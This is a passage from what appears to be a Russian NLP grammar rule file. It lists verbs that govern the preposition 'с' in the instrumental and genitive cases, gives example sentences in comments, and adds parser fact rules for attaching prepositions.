rus_verbs:интриговать{}, // интриговать с придворными rus_verbs:приобрести{}, // приобрести со скидкой rus_verbs:задержаться{}, // задержаться со сдачей работы rus_verbs:плавать{}, // плавать со спасательным кругом rus_verbs:якшаться{}, // Не якшайся с врагами инфинитив:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги инфинитив:ассоциировать{вид:несоверш}, глагол:ассоциировать{вид:соверш}, // читатели ассоциируют с собой героя книги глагол:ассоциировать{вид:несоверш}, //+прилагательное:ассоциировавший{вид:несоверш}, прилагательное:ассоциировавший{вид:соверш}, прилагательное:ассоциирующий{}, деепричастие:ассоциируя{}, деепричастие:ассоциировав{}, rus_verbs:ассоциироваться{}, // герой книги ассоциируется с реальным персонажем rus_verbs:аттестовывать{}, // Они аттестовывают сотрудников с помощью наборра тестов rus_verbs:аттестовываться{}, // Сотрудники аттестовываются с помощью набора тестов //+инфинитив:аффилировать{вид:соверш}, // эти предприятия были аффилированы с олигархом //+глагол:аффилировать{вид:соверш}, прилагательное:аффилированный{}, rus_verbs:баловаться{}, // мальчик баловался с молотком rus_verbs:балясничать{}, // женщина балясничала с товарками rus_verbs:богатеть{}, // Провинция богатеет от торговли с соседями rus_verbs:бодаться{}, // теленок бодается с деревом rus_verbs:боксировать{}, // Майкл дважды боксировал с ним rus_verbs:брататься{}, // Солдаты братались с бойцами союзников rus_verbs:вальсировать{}, // Мальчик вальсирует с девочкой rus_verbs:вверстывать{}, // Дизайнер с трудом вверстывает блоки в страницу rus_verbs:происходить{}, // Что происходит с мировой экономикой? rus_verbs:произойти{}, // Что произошло с экономикой? rus_verbs:взаимодействовать{}, // Электроны взаимодействуют с фотонами rus_verbs:вздорить{}, // Эта женщина часто вздорила с соседями rus_verbs:сойтись{}, // Мальчик сошелся с бандой хулиганов rus_verbs:вобрать{}, // вобрать в себя лучшие методы борьбы с вредителями rus_verbs:водиться{}, // Няня водится с детьми rus_verbs:воевать{}, // Фермеры воевали с волками rus_verbs:возиться{}, // Няня возится с детьми rus_verbs:ворковать{}, // Голубь воркует с голубкой rus_verbs:воссоединиться{}, // Дети воссоединились с семьей rus_verbs:воссоединяться{}, // Дети воссоединяются с семьей rus_verbs:вошкаться{}, // Не вошкайся с этой ерундой rus_verbs:враждовать{}, // враждовать с соседями rus_verbs:временить{}, // временить с выходом на пенсию rus_verbs:расстаться{}, // я не могу расстаться с тобой rus_verbs:выдирать{}, // выдирать с мясом rus_verbs:выдираться{}, // выдираться с мясом rus_verbs:вытворить{}, // вытворить что-либо с чем-либо rus_verbs:вытворять{}, // вытворять что-либо с чем-либо rus_verbs:сделать{}, // сделать с чем-то rus_verbs:домыть{}, // домыть с мылом rus_verbs:случиться{}, // случиться с кем-то rus_verbs:остаться{}, // остаться с кем-то rus_verbs:случать{}, // случать с породистым кобельком rus_verbs:послать{}, // послать с весточкой rus_verbs:работать{}, // работать с роботами rus_verbs:провести{}, // провести с девчонками время rus_verbs:заговорить{}, // заговорить с незнакомкой rus_verbs:прошептать{}, // прошептать с придыханием rus_verbs:читать{}, // читать с выражением rus_verbs:слушать{}, // слушать с повышенным вниманием rus_verbs:принести{}, // принести с собой rus_verbs:спать{}, // спать с женщинами rus_verbs:закончить{}, // закончить с приготовлениями rus_verbs:помочь{}, // помочь с перестановкой rus_verbs:уехать{}, // уехать с семьей rus_verbs:случаться{}, // случаться с кем-то rus_verbs:кутить{}, // кутить с проститутками rus_verbs:разговаривать{}, // разговаривать с ребенком rus_verbs:погодить{}, // погодить с ликвидацией rus_verbs:считаться{}, // считаться с чужим мнением rus_verbs:носить{}, // носить с собой rus_verbs:хорошеть{}, // хорошеть с каждым днем rus_verbs:приводить{}, // приводить с собой rus_verbs:прыгнуть{}, // прыгнуть с парашютом rus_verbs:петь{}, // петь с чувством rus_verbs:сложить{}, // сложить с результатом rus_verbs:познакомиться{}, // познакомиться с другими студентами rus_verbs:обращаться{}, // обращаться с животными rus_verbs:съесть{}, // съесть с хлебом rus_verbs:ошибаться{}, // ошибаться с дозировкой rus_verbs:столкнуться{}, // столкнуться с медведем rus_verbs:справиться{}, // справиться с нуждой rus_verbs:торопиться{}, // торопиться с ответом rus_verbs:поздравлять{}, // поздравлять с победой rus_verbs:объясняться{}, // объясняться с начальством rus_verbs:пошутить{}, // пошутить с подругой rus_verbs:поздороваться{}, // поздороваться с коллегами rus_verbs:поступать{}, // Как поступать с таким поведением? rus_verbs:определяться{}, // определяться с кандидатами rus_verbs:связаться{}, // связаться с поставщиком rus_verbs:спорить{}, // спорить с собеседником rus_verbs:разобраться{}, // разобраться с делами rus_verbs:ловить{}, // ловить с удочкой rus_verbs:помедлить{}, // Кандидат помедлил с ответом на заданный вопрос rus_verbs:шутить{}, // шутить с диким зверем rus_verbs:разорвать{}, // разорвать с поставщиком контракт rus_verbs:увезти{}, // увезти с собой rus_verbs:унести{}, // унести с собой rus_verbs:сотворить{}, // сотворить с собой что-то нехорошее rus_verbs:складываться{}, // складываться с первым импульсом rus_verbs:соглашаться{}, // соглашаться с предложенным договором //rus_verbs:покончить{}, // покончить с развратом rus_verbs:прихватить{}, // прихватить с собой rus_verbs:похоронить{}, // похоронить с почестями rus_verbs:связывать{}, // связывать с компанией свою судьбу rus_verbs:совпадать{}, // совпадать с предсказанием rus_verbs:танцевать{}, // танцевать с девушками rus_verbs:поделиться{}, // поделиться с выжившими rus_verbs:оставаться{}, // я не хотел оставаться с ним в одной комнате. rus_verbs:беседовать{}, // преподаватель, беседующий со студентами rus_verbs:бороться{}, // человек, борющийся со смертельной болезнью rus_verbs:шептаться{}, // девочка, шепчущаяся с подругой rus_verbs:сплетничать{}, // женщина, сплетничавшая с товарками rus_verbs:поговорить{}, // поговорить с виновниками rus_verbs:сказать{}, // сказать с трудом rus_verbs:произнести{}, // произнести с трудом rus_verbs:говорить{}, // говорить с акцентом rus_verbs:произносить{}, // произносить с трудом rus_verbs:встречаться{}, // кто с Антонио встречался? rus_verbs:посидеть{}, // посидеть с друзьями rus_verbs:расквитаться{}, // расквитаться с обидчиком rus_verbs:поквитаться{}, // поквитаться с обидчиком rus_verbs:ругаться{}, // ругаться с женой rus_verbs:поскандалить{}, // поскандалить с женой rus_verbs:потанцевать{}, // потанцевать с подругой rus_verbs:скандалить{}, // скандалить с соседями rus_verbs:разругаться{}, // разругаться с другом rus_verbs:болтать{}, // болтать с подругами rus_verbs:потрепаться{}, // потрепаться с соседкой rus_verbs:войти{}, // войти с регистрацией rus_verbs:входить{}, // входить с регистрацией rus_verbs:возвращаться{}, // возвращаться с триумфом rus_verbs:опоздать{}, // Он опоздал с подачей сочинения. rus_verbs:молчать{}, // Он молчал с ледяным спокойствием. rus_verbs:сражаться{}, // Он героически сражался с врагами. rus_verbs:выходить{}, // Он всегда выходит с зонтиком. rus_verbs:сличать{}, // сличать перевод с оригиналом rus_verbs:начать{}, // я начал с товарищем спор о религии rus_verbs:согласовать{}, // Маша согласовала с Петей дальнейшие поездки rus_verbs:приходить{}, // Приходите с нею. rus_verbs:жить{}, // кто с тобой жил? rus_verbs:расходиться{}, // Маша расходится с Петей rus_verbs:сцеплять{}, // сцеплять карабин с обвязкой rus_verbs:торговать{}, // мы торгуем с ними нефтью rus_verbs:уединяться{}, // уединяться с подругой в доме rus_verbs:уладить{}, // уладить конфликт с соседями rus_verbs:идти{}, // Я шел туда с тяжёлым сердцем. rus_verbs:разделять{}, // Я разделяю с вами горе и радость. rus_verbs:обратиться{}, // Я обратился к нему с просьбой о помощи. rus_verbs:захватить{}, // Я не захватил с собой денег. прилагательное:знакомый{}, // Я знаком с ними обоими. rus_verbs:вести{}, // Я веду с ней переписку. прилагательное:сопряженный{}, // Это сопряжено с большими трудностями. прилагательное:связанный{причастие}, // Это дело связано с риском. rus_verbs:поехать{}, // Хотите поехать со мной в театр? rus_verbs:проснуться{}, // Утром я проснулся с ясной головой. rus_verbs:лететь{}, // Самолёт летел со скоростью звука. rus_verbs:играть{}, // С огнём играть опасно! rus_verbs:поделать{}, // С ним ничего не поделаешь. rus_verbs:стрястись{}, // С ней стряслось несчастье. rus_verbs:смотреться{}, // Пьеса смотрится с удовольствием. rus_verbs:смотреть{}, // Она смотрела на меня с явным неудовольствием. rus_verbs:разойтись{}, // Она разошлась с мужем. rus_verbs:пристать{}, // Она пристала ко мне с расспросами. rus_verbs:посмотреть{}, // Она посмотрела на меня с удивлением. rus_verbs:поступить{}, // Она плохо поступила с ним. rus_verbs:выйти{}, // Она вышла с усталым и недовольным видом. rus_verbs:взять{}, // Возьмите с собой только самое необходимое. rus_verbs:наплакаться{}, // Наплачется она с ним. rus_verbs:лежать{}, // Он лежит с воспалением лёгких. rus_verbs:дышать{}, // дышащий с трудом rus_verbs:брать{}, // брать с собой rus_verbs:мчаться{}, // Автомобиль мчится с необычайной быстротой. rus_verbs:упасть{}, // Ваза упала со звоном. rus_verbs:вернуться{}, // мы вернулись вчера домой с полным лукошком rus_verbs:сидеть{}, // Она сидит дома с ребенком rus_verbs:встретиться{}, // встречаться с кем-либо ГЛ_ИНФ(придти), прилагательное:пришедший{}, // пришедший с другом ГЛ_ИНФ(постирать), прилагательное:постиранный{}, деепричастие:постирав{}, rus_verbs:мыть{} } fact гл_предл { if context { Гл_С_Твор предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Твор предлог:с{} *:*{падеж:твор} } then return true } #endregion ТВОРИТЕЛЬНЫЙ #region РОДИТЕЛЬНЫЙ wordentry_set Гл_С_Род= { rus_verbs:УХОДИТЬ{}, // Но с базы не уходить. rus_verbs:РВАНУТЬ{}, // Водитель прорычал проклятие и рванул машину с места. (РВАНУТЬ) rus_verbs:ОХВАТИТЬ{}, // огонь охватил его со всех сторон (ОХВАТИТЬ) rus_verbs:ЗАМЕТИТЬ{}, // Он понимал, что свет из тайника невозможно заметить с палубы (ЗАМЕТИТЬ/РАЗГЛЯДЕТЬ) rus_verbs:РАЗГЛЯДЕТЬ{}, // rus_verbs:СПЛАНИРОВАТЬ{}, // Птицы размером с орлицу, вероятно, не могли бы подняться в воздух, не спланировав с высокого утеса. (СПЛАНИРОВАТЬ) rus_verbs:УМЕРЕТЬ{}, // Он умрет с голоду. (УМЕРЕТЬ) rus_verbs:ВСПУГНУТЬ{}, // Оба упали с лязгом, вспугнувшим птиц с ближайших деревьев (ВСПУГНУТЬ) rus_verbs:РЕВЕТЬ{}, // Время от времени какой-то ящер ревел с берега или самой реки. (РЕВЕТЬ/ЗАРЕВЕТЬ/ПРОРЕВЕТЬ/ЗАОРАТЬ/ПРООРАТЬ/ОРАТЬ/ПРОКРИЧАТЬ/ЗАКРИЧАТЬ/ВОПИТЬ/ЗАВОПИТЬ) rus_verbs:ЗАРЕВЕТЬ{}, // rus_verbs:ПРОРЕВЕТЬ{}, // rus_verbs:ЗАОРАТЬ{}, // rus_verbs:ПРООРАТЬ{}, // rus_verbs:ОРАТЬ{}, // rus_verbs:ЗАКРИЧАТЬ{}, rus_verbs:ВОПИТЬ{}, // rus_verbs:ЗАВОПИТЬ{}, // rus_verbs:СТАЩИТЬ{}, // Я видела как они стащили его с валуна и увели с собой. (СТАЩИТЬ/СТАСКИВАТЬ) rus_verbs:СТАСКИВАТЬ{}, // rus_verbs:ПРОВЫТЬ{}, // Призрак трубного зова провыл с другой стороны дверей. (ПРОВЫТЬ, ЗАВЫТЬ, ВЫТЬ) rus_verbs:ЗАВЫТЬ{}, // rus_verbs:ВЫТЬ{}, // rus_verbs:СВЕТИТЬ{}, // Полуденное майское солнце ярко светило с голубых небес Аризоны. (СВЕТИТЬ) rus_verbs:ОТСВЕЧИВАТЬ{}, // Солнце отсвечивало с белых лошадей, белых щитов и белых перьев и искрилось на наконечниках пик. (ОТСВЕЧИВАТЬ С, ИСКРИТЬСЯ НА) rus_verbs:перегнать{}, // Скот нужно перегнать с этого пастбища на другое rus_verbs:собирать{}, // мальчики начали собирать со столов посуду rus_verbs:разглядывать{}, // ты ее со всех сторон разглядывал rus_verbs:СЖИМАТЬ{}, // меня плотно сжимали со всех сторон (СЖИМАТЬ) rus_verbs:СОБРАТЬСЯ{}, // со всего света собрались! (СОБРАТЬСЯ) rus_verbs:ИЗГОНЯТЬ{}, // Вино в пакетах изгоняют с рынка (ИЗГОНЯТЬ) rus_verbs:ВЛЮБИТЬСЯ{}, // влюбился в нее с первого взгляда (ВЛЮБИТЬСЯ) rus_verbs:РАЗДАВАТЬСЯ{}, // теперь крик раздавался со всех сторон (РАЗДАВАТЬСЯ) rus_verbs:ПОСМОТРЕТЬ{}, // Посмотрите на это с моей точки зрения (ПОСМОТРЕТЬ С род) rus_verbs:СХОДИТЬ{}, // принимать участие во всех этих событиях - значит продолжать сходить с ума (СХОДИТЬ С род) rus_verbs:РУХНУТЬ{}, // В Башкирии микроавтобус рухнул с моста (РУХНУТЬ С) rus_verbs:УВОЛИТЬ{}, // рекомендовать уволить их с работы (УВОЛИТЬ С) rus_verbs:КУПИТЬ{}, // еда , купленная с рук (КУПИТЬ С род) rus_verbs:УБРАТЬ{}, // помочь убрать со стола? (УБРАТЬ С) rus_verbs:ТЯНУТЬ{}, // с моря тянуло ветром (ТЯНУТЬ С) rus_verbs:ПРИХОДИТЬ{}, // приходит с работы муж (ПРИХОДИТЬ С) rus_verbs:ПРОПАСТЬ{}, // изображение пропало с экрана (ПРОПАСТЬ С) rus_verbs:ПОТЯНУТЬ{}, // с балкона потянуло холодом (ПОТЯНУТЬ С род) rus_verbs:РАЗДАТЬСЯ{}, // с палубы раздался свист (РАЗДАТЬСЯ С род) rus_verbs:ЗАЙТИ{}, // зашел с другой стороны (ЗАЙТИ С род) rus_verbs:НАЧАТЬ{}, // давай начнем с этого (НАЧАТЬ С род) rus_verbs:УВЕСТИ{}, // дала увести с развалин (УВЕСТИ С род) rus_verbs:ОПУСКАТЬСЯ{}, // с гор опускалась ночь (ОПУСКАТЬСЯ С) rus_verbs:ВСКОЧИТЬ{}, // Тристан вскочил с места (ВСКОЧИТЬ С род) rus_verbs:БРАТЬ{}, // беру с него пример (БРАТЬ С род) rus_verbs:ПРИПОДНЯТЬСЯ{}, // голова приподнялась с плеча (ПРИПОДНЯТЬСЯ С род) rus_verbs:ПОЯВИТЬСЯ{}, // всадники появились с востока (ПОЯВИТЬСЯ С род) rus_verbs:НАЛЕТЕТЬ{}, // с моря налетел ветер (НАЛЕТЕТЬ С род) rus_verbs:ВЗВИТЬСЯ{}, // Натан взвился с места (ВЗВИТЬСЯ С род) rus_verbs:ПОДОБРАТЬ{}, // подобрал с земли копье (ПОДОБРАТЬ С) rus_verbs:ДЕРНУТЬСЯ{}, // Кирилл дернулся с места (ДЕРНУТЬСЯ С род) rus_verbs:ВОЗВРАЩАТЬСЯ{}, // они возвращались с реки (ВОЗВРАЩАТЬСЯ С род) rus_verbs:ПЛЫТЬ{}, // плыли они с запада (ПЛЫТЬ С род) rus_verbs:ЗНАТЬ{}, // одно знали с древности (ЗНАТЬ С) rus_verbs:НАКЛОНИТЬСЯ{}, // всадник наклонился с лошади (НАКЛОНИТЬСЯ С) rus_verbs:НАЧАТЬСЯ{}, // началось все со скуки (НАЧАТЬСЯ С) прилагательное:ИЗВЕСТНЫЙ{}, // Культура его известна со времен глубокой древности (ИЗВЕСТНЫЙ С) rus_verbs:СБИТЬ{}, // Порыв ветра сбил Ваньку с ног (ts СБИТЬ С) rus_verbs:СОБИРАТЬСЯ{}, // они собираются сюда со всей равнины. (СОБИРАТЬСЯ С род) rus_verbs:смыть{}, // Дождь должен смыть с листьев всю пыль. (СМЫТЬ С) rus_verbs:привстать{}, // Мартин привстал со своего стула. (привстать с) rus_verbs:спасть{}, // тяжесть спала с души. (спасть с) rus_verbs:выглядеть{}, // так оно со стороны выглядело. (ВЫГЛЯДЕТЬ С) rus_verbs:повернуть{}, // к вечеру они повернули с нее направо. (ПОВЕРНУТЬ С) rus_verbs:ТЯНУТЬСЯ{}, // со стороны реки ко мне тянулись языки тумана. (ТЯНУТЬСЯ С) rus_verbs:ВОЕВАТЬ{}, // Генерал воевал с юных лет. (ВОЕВАТЬ С чего-то) rus_verbs:БОЛЕТЬ{}, // Голова болит с похмелья. (БОЛЕТЬ С) rus_verbs:приближаться{}, // со стороны острова приближалась лодка. rus_verbs:ПОТЯНУТЬСЯ{}, // со всех сторон к нему потянулись руки. (ПОТЯНУТЬСЯ С) rus_verbs:пойти{}, // низкий гул пошел со стороны долины. (пошел с) rus_verbs:зашевелиться{}, // со всех сторон зашевелились кусты. (зашевелиться с) rus_verbs:МЧАТЬСЯ{}, // со стороны леса мчались всадники. (МЧАТЬСЯ С) rus_verbs:БЕЖАТЬ{}, // люди бежали со всех ног. (БЕЖАТЬ С) rus_verbs:СЛЫШАТЬСЯ{}, // шум слышался со стороны моря. (СЛЫШАТЬСЯ С) rus_verbs:ЛЕТЕТЬ{}, // со стороны деревни летела птица. (ЛЕТЕТЬ С) rus_verbs:ПЕРЕТЬ{}, // враги прут со всех сторон. (ПЕРЕТЬ С) rus_verbs:ПОСЫПАТЬСЯ{}, // вопросы посыпались со всех сторон. (ПОСЫПАТЬСЯ С) rus_verbs:ИДТИ{}, // угроза шла со стороны моря. (ИДТИ С + род.п.) rus_verbs:ПОСЛЫШАТЬСЯ{}, // со стен послышались крики ужаса. (ПОСЛЫШАТЬСЯ С) rus_verbs:ОБРУШИТЬСЯ{}, // звуки обрушились со всех сторон. (ОБРУШИТЬСЯ С) rus_verbs:УДАРИТЬ{}, // голоса ударили со всех сторон. (УДАРИТЬ С) rus_verbs:ПОКАЗАТЬСЯ{}, // со стороны деревни показались земляне. (ПОКАЗАТЬСЯ С) rus_verbs:прыгать{}, // придется прыгать со второго этажа. (прыгать с) rus_verbs:СТОЯТЬ{}, // со всех сторон стоял лес. (СТОЯТЬ С) rus_verbs:доноситься{}, // шум со двора доносился чудовищный. (доноситься с) rus_verbs:мешать{}, // мешать воду с мукой (мешать с) rus_verbs:вестись{}, // Переговоры ведутся с позиции силы. (вестись с) rus_verbs:вставать{}, // Он не встает с кровати. (вставать с) rus_verbs:окружать{}, // зеленые щупальца окружали ее со всех сторон. (окружать с) rus_verbs:причитаться{}, // С вас причитается 50 рублей. rus_verbs:соскользнуть{}, // его острый клюв соскользнул с ее руки. rus_verbs:сократить{}, // Его сократили со службы. rus_verbs:поднять{}, // рука подняла с пола rus_verbs:поднимать{}, rus_verbs:тащить{}, // тем временем другие пришельцы тащили со всех сторон камни. rus_verbs:полететь{}, // Мальчик полетел с лестницы. rus_verbs:литься{}, // вода льется с неба rus_verbs:натечь{}, // натечь с сапог rus_verbs:спрыгивать{}, // спрыгивать с движущегося трамвая rus_verbs:съезжать{}, // съезжать с заявленной темы rus_verbs:покатываться{}, // покатываться со смеху rus_verbs:перескакивать{}, // перескакивать с одного примера на другой rus_verbs:сдирать{}, // сдирать с тела кожу rus_verbs:соскальзывать{}, // соскальзывать с крючка rus_verbs:сметать{}, // сметать с прилавков rus_verbs:кувыркнуться{}, // кувыркнуться со ступеньки rus_verbs:прокаркать{}, // прокаркать с ветки rus_verbs:стряхивать{}, // стряхивать с одежды rus_verbs:сваливаться{}, // сваливаться с лестницы rus_verbs:слизнуть{}, // слизнуть с лица rus_verbs:доставляться{}, // доставляться с фермы rus_verbs:обступать{}, // обступать с двух сторон rus_verbs:повскакивать{}, // повскакивать с мест rus_verbs:обозревать{}, // обозревать с вершины rus_verbs:слинять{}, // слинять с урока rus_verbs:смывать{}, // смывать с лица rus_verbs:спихнуть{}, // спихнуть со стола rus_verbs:обозреть{}, // обозреть с вершины rus_verbs:накупить{}, // накупить с рук rus_verbs:схлынуть{}, // схлынуть с берега rus_verbs:спикировать{}, // спикировать с километровой высоты rus_verbs:уползти{}, // уползти с поля боя rus_verbs:сбиваться{}, // сбиваться с пути rus_verbs:отлучиться{}, // отлучиться с поста rus_verbs:сигануть{}, // сигануть с крыши rus_verbs:сместить{}, // сместить с поста rus_verbs:списать{}, // списать с оригинального устройства инфинитив:слетать{ вид:несоверш }, глагол:слетать{ вид:несоверш }, // слетать с трассы деепричастие:слетая{}, rus_verbs:напиваться{}, // напиваться с горя rus_verbs:свесить{}, // свесить с крыши rus_verbs:заполучить{}, // заполучить со склада rus_verbs:спадать{}, // спадать с глаз rus_verbs:стартовать{}, // стартовать с мыса rus_verbs:спереть{}, // спереть со склада rus_verbs:согнать{}, // согнать с живота rus_verbs:скатываться{}, // скатываться со стога rus_verbs:сняться{}, // сняться с выборов rus_verbs:слезать{}, // слезать со стола rus_verbs:деваться{}, // деваться с подводной лодки rus_verbs:огласить{}, // огласить с трибуны rus_verbs:красть{}, // красть со склада rus_verbs:расширить{}, // расширить с торца rus_verbs:угадывать{}, // угадывать с полуслова rus_verbs:оскорбить{}, // оскорбить со сцены rus_verbs:срывать{}, // срывать с головы rus_verbs:сшибить{}, // сшибить с коня rus_verbs:сбивать{}, // сбивать с одежды rus_verbs:содрать{}, // содрать с посетителей rus_verbs:столкнуть{}, // столкнуть с горы rus_verbs:отряхнуть{}, // отряхнуть с одежды rus_verbs:сбрасывать{}, // сбрасывать с борта rus_verbs:расстреливать{}, // расстреливать с борта вертолета rus_verbs:придти{}, // мать скоро придет с работы rus_verbs:съехать{}, // Миша съехал с горки rus_verbs:свисать{}, // свисать с веток rus_verbs:стянуть{}, // стянуть с кровати rus_verbs:скинуть{}, // скинуть снег с плеча rus_verbs:загреметь{}, // загреметь со стула rus_verbs:сыпаться{}, // сыпаться с неба rus_verbs:стряхнуть{}, // стряхнуть с головы rus_verbs:сползти{}, // сползти со стула rus_verbs:стереть{}, // стереть с экрана rus_verbs:прогнать{}, // прогнать с фермы rus_verbs:смахнуть{}, // смахнуть со стола rus_verbs:спускать{}, // спускать с поводка rus_verbs:деться{}, // деться с подводной лодки rus_verbs:сдернуть{}, // сдернуть с себя rus_verbs:сдвинуться{}, // сдвинуться с места rus_verbs:слететь{}, // слететь с катушек rus_verbs:обступить{}, // обступить со всех сторон rus_verbs:снести{}, // снести с плеч инфинитив:сбегать{ вид:несоверш }, глагол:сбегать{ вид:несоверш }, // сбегать с уроков деепричастие:сбегая{}, прилагательное:сбегающий{}, // прилагательное:сбегавший{ вид:несоверш }, rus_verbs:запить{}, // запить с горя rus_verbs:рубануть{}, // рубануть с плеча rus_verbs:чертыхнуться{}, // чертыхнуться с досады rus_verbs:срываться{}, // срываться с цепи rus_verbs:смыться{}, // смыться с уроков rus_verbs:похитить{}, // похитить со склада rus_verbs:смести{}, // смести со своего пути rus_verbs:отгружать{}, // отгружать со склада rus_verbs:отгрузить{}, // отгрузить со склада rus_verbs:бросаться{}, // Дети бросались в воду с моста rus_verbs:броситься{}, // самоубийца бросился с моста в воду rus_verbs:взимать{}, // Билетер взимает плату с каждого посетителя rus_verbs:взиматься{}, // Плата взимается с любого посетителя rus_verbs:взыскать{}, // Приставы взыскали долг с бедолаги rus_verbs:взыскивать{}, // Приставы взыскивают с бедолаги все долги rus_verbs:взыскиваться{}, // Долги взыскиваются с алиментщиков rus_verbs:вспархивать{}, // вспархивать с цветка rus_verbs:вспорхнуть{}, // вспорхнуть с ветки rus_verbs:выбросить{}, // выбросить что-то с балкона rus_verbs:выводить{}, // выводить с одежды пятна rus_verbs:снять{}, // снять с головы rus_verbs:начинать{}, // начинать с эскиза rus_verbs:двинуться{}, // двинуться с места rus_verbs:начинаться{}, // начинаться с гардероба rus_verbs:стечь{}, // стечь с крыши rus_verbs:слезть{}, // слезть с кучи rus_verbs:спуститься{}, // спуститься с крыши rus_verbs:сойти{}, // сойти с пьедестала rus_verbs:свернуть{}, // свернуть с пути rus_verbs:сорвать{}, // сорвать с цепи rus_verbs:сорваться{}, // сорваться с поводка rus_verbs:тронуться{}, // тронуться с места rus_verbs:угадать{}, // угадать с первой попытки rus_verbs:спустить{}, // спустить с лестницы rus_verbs:соскочить{}, // соскочить с крючка rus_verbs:сдвинуть{}, // сдвинуть с места rus_verbs:подниматься{}, // туман, поднимающийся с болота rus_verbs:подняться{}, // туман, поднявшийся с болота rus_verbs:валить{}, // Резкий порывистый ветер валит прохожих с ног. rus_verbs:свалить{}, // Резкий порывистый ветер свалит тебя с ног. rus_verbs:донестись{}, // С улицы донесся шум дождя. rus_verbs:опасть{}, // Опавшие с дерева листья. rus_verbs:махнуть{}, // Он махнул с берега в воду. rus_verbs:исчезнуть{}, // исчезнуть с экрана rus_verbs:свалиться{}, // свалиться со сцены rus_verbs:упасть{}, // упасть с дерева rus_verbs:вернуться{}, // Он ещё не вернулся с работы. rus_verbs:сдувать{}, // сдувать пух с одуванчиков rus_verbs:свергать{}, // свергать царя с трона rus_verbs:сбиться{}, // сбиться с пути rus_verbs:стирать{}, // стирать тряпкой надпись с доски rus_verbs:убирать{}, // убирать мусор c пола rus_verbs:удалять{}, // удалять игрока с поля rus_verbs:окружить{}, // Япония окружена со всех сторон морями. rus_verbs:снимать{}, // Я снимаю с себя всякую ответственность за его поведение. глагол:писаться{ aux stress="пис^аться" }, // Собственные имена пишутся с большой буквы. прилагательное:спокойный{}, // С этой стороны я спокоен. rus_verbs:спросить{}, // С тебя за всё спросят. rus_verbs:течь{}, // С него течёт пот. rus_verbs:дуть{}, // С моря дует ветер. rus_verbs:капать{}, // С его лица капали крупные капли пота. rus_verbs:опустить{}, // Она опустила ребёнка с рук на пол. rus_verbs:спрыгнуть{}, // Она легко спрыгнула с коня. rus_verbs:встать{}, // Все встали со стульев. rus_verbs:сбросить{}, // Войдя в комнату, он сбросил с себя пальто. rus_verbs:взять{}, // Возьми книгу с полки. rus_verbs:спускаться{}, // Мы спускались с горы. rus_verbs:уйти{}, // Он нашёл себе заместителя и ушёл со службы. rus_verbs:порхать{}, // Бабочка порхает с цветка на цветок. rus_verbs:отправляться{}, // Ваш поезд отправляется со второй платформы. rus_verbs:двигаться{}, // Он не двигался с места. rus_verbs:отходить{}, // мой поезд отходит с первого пути rus_verbs:попасть{}, // Майкл попал в кольцо с десятиметровой дистанции rus_verbs:падать{}, // снег падает с ветвей rus_verbs:скрыться{} // Ее водитель, бросив машину, скрылся с места происшествия. } fact гл_предл { if context { Гл_С_Род предлог:с{} @regex("[a-z]+[0-9]*") } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:род} } then return true } fact гл_предл { if context { Гл_С_Род предлог:с{} *:*{падеж:парт} } then return true } #endregion РОДИТЕЛЬНЫЙ fact гл_предл { if context { * предлог:с{} *:*{ падеж:твор } } then return false,-3 } fact гл_предл { if context { * предлог:с{} *:*{ падеж:род } } then return false,-4 } fact гл_предл { if context { * предлог:с{} * } then return false,-5 } #endregion Предлог_С /* #region Предлог_ПОД // -------------- ПРЕДЛОГ 'ПОД' ----------------------- fact гл_предл { if context { * предлог:под{} @regex("[a-z]+[0-9]*") } then return true } // ПОД+вин.п. не может присоединяться к существительным, поэтому // он присоединяется к любым глаголам. fact гл_предл { if context { * предлог:под{} *:*{ падеж:вин } } then return true } wordentry_set Гл_ПОД_твор= { rus_verbs:извиваться{}, // извивалась под его длинными усами rus_verbs:РАСПРОСТРАНЯТЬСЯ{}, // Под густым ковром травы и плотным сплетением корней (РАСПРОСТРАНЯТЬСЯ) rus_verbs:БРОСИТЬ{}, // чтобы ты его под деревом бросил? (БРОСИТЬ) rus_verbs:БИТЬСЯ{}, // под моей щекой сильно билось его сердце (БИТЬСЯ) rus_verbs:ОПУСТИТЬСЯ{}, // глаза его опустились под ее желтым взглядом (ОПУСТИТЬСЯ) rus_verbs:ВЗДЫМАТЬСЯ{}, // его грудь судорожно вздымалась под ее рукой (ВЗДЫМАТЬСЯ) rus_verbs:ПРОМЧАТЬСЯ{}, // Она промчалась под ними и исчезла за изгибом горы. (ПРОМЧАТЬСЯ) rus_verbs:всплыть{}, // Наконец он всплыл под нависавшей кормой, так и не отыскав того, что хотел. (всплыть) rus_verbs:КОНЧАТЬСЯ{}, // Он почти вертикально уходит в реку и кончается глубоко под водой. (КОНЧАТЬСЯ) rus_verbs:ПОЛЗТИ{}, // Там они ползли под спутанным терновником и сквозь переплетавшиеся кусты (ПОЛЗТИ) rus_verbs:ПРОХОДИТЬ{}, // Вольф проходил под гигантскими ветвями деревьев и мхов, свисавших с ветвей зелеными водопадами. (ПРОХОДИТЬ, ПРОПОЛЗТИ, ПРОПОЛЗАТЬ) rus_verbs:ПРОПОЛЗТИ{}, // rus_verbs:ПРОПОЛЗАТЬ{}, // rus_verbs:ИМЕТЬ{}, // Эти предположения не имеют под собой никакой почвы (ИМЕТЬ) rus_verbs:НОСИТЬ{}, // она носит под сердцем ребенка (НОСИТЬ) rus_verbs:ПАСТЬ{}, // Рим пал под натиском варваров (ПАСТЬ) rus_verbs:УТОНУТЬ{}, // Выступавшие старческие вены снова утонули под гладкой твердой плотью. (УТОНУТЬ) rus_verbs:ВАЛЯТЬСЯ{}, // Под его кривыми серыми ветвями и пестрыми коричнево-зелеными листьями валялись пустые ореховые скорлупки и сердцевины плодов. (ВАЛЯТЬСЯ) rus_verbs:вздрогнуть{}, // она вздрогнула под его взглядом rus_verbs:иметься{}, // у каждого под рукой имелся арбалет rus_verbs:ЖДАТЬ{}, // Сашка уже ждал под дождем (ЖДАТЬ) rus_verbs:НОЧЕВАТЬ{}, // мне приходилось ночевать под открытым небом (НОЧЕВАТЬ) rus_verbs:УЗНАТЬ{}, // вы должны узнать меня под этим именем (УЗНАТЬ) rus_verbs:ЗАДЕРЖИВАТЬСЯ{}, // мне нельзя задерживаться под землей! (ЗАДЕРЖИВАТЬСЯ) rus_verbs:ПОГИБНУТЬ{}, // под их копытами погибли целые армии! (ПОГИБНУТЬ) rus_verbs:РАЗДАВАТЬСЯ{}, // под ногами у меня раздавался сухой хруст (РАЗДАВАТЬСЯ) 